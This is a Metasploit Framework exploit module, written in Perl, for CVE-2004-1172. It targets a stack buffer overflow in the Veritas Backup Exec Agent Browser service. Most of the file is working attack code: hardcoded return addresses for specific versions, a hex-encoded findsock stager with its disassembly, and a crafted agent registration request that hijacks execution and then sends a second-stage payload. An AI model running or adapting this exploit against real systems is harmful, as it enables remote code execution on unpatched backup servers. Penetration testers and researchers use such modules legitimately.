CAN-2004-1172

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::backupexec_ns;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Veritas Backup Exec Name Service Overflow',
'Version' => '$Revision: 1.7 $',
'Authors' => [ 'Thor Doomen <syscall [at] inbox.lv>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 6101],
},

'Payload' =>
{
'MinNops' => 512,
'MaxNops' => 512,
'Space' => 1024,
'BadChars' => '',
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an vulnerability in the
Veritas Backup Exec Agent Browser service. This vulnerability
occurs when a recv() call has a length value too long for the
destination stack buffer. By sending an agent name value of
63 bytes or more, we can overwrite the return address of the
recv function. Since we only have ~60 bytes of contiguous
space for shellcode, a tiny findsock payload is sent which
uses a hardcoded IAT address for the recv() function. This
payload will then roll the stack back to the beginning of
the page, recv() the real shellcode into it, and jump to it.
This module has been tested against Veritas 9.1 SP0, 9.1 SP1, and
8.6.
}),

'Refs' =>
[
['CVE', '2004-1172'],
['URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],
],

'Targets' =>
[ # BackupExec 9.1 SP0/SP1 return contributed by class101
['Veritas BE 9.1 SP0/SP1', 0x0142ffa1, 0x401150FF], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe
['Veritas BE 8.5 ', 0x014308b9, 0x401138FF], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572
],

'Keys' => ['veritas'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $code = "\xfc" x 112;

# This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)
# The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid
# nulls: [0x00401150 -> 0x401150FF]
my $read =
"\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74".
"\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11".
"\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75".
"\xe1\xff\xd7";

# Configure the IAT for the recv call
substr($read, 29, 4, pack('V', $target->[2]));

# Stuff it all into the request...
substr( $code, 2, length($read), $read );

# Return address to use (jmp esi)
substr( $code, 66, 4, pack('V', $target->[1]) );

# The registration request
my $req =
"\x02\x00\x32\x00\x20\x00" . $code . "\x00".
"1.1.1.1.1.1\x00".
"\xeb\x81";

$self->PrintLine( "[*] Sending agent registration request of " . length($req) . " bytes..." );
$s->Send($req);

$self->PrintLine( "[*] Sending final payload of " . length($req) . " bytes..." );
$s->Send($shellcode);

sleep(2);
$self->PrintLine("[*] Waiting for a response...");
return;
}

my $findsock = q{
00000000 31F6 xor esi,esi
00000002 C1EC0C shr esp,0xc
00000005 C1E40C shl esp,0xc
00000008 89E7 mov edi,esp
0000000A 89FB mov ebx,edi
0000000C 6A01 push byte +0x1
0000000E 8B7424FE mov esi,[esp-0x2]
00000012 31D2 xor edx,edx
00000014 52 push edx
00000015 42 inc edx
00000016 C1E210 shl edx,0x10
00000019 52 push edx
0000001A 57 push edi
0000001B 56 push esi
0000001C B8FF501140 mov eax,0x401150ff
00000021 C1E808 shr eax,0x8
00000024 FF10 call near [eax]
00000026 85C0 test eax,eax
00000028 7907 jns 0x31
0000002A 89DC mov esp,ebx
0000002C 4E dec esi
0000002D 85F6 test esi,esi
0000002F 75E1 jnz 0x12
00000031 FFD7 call edi
};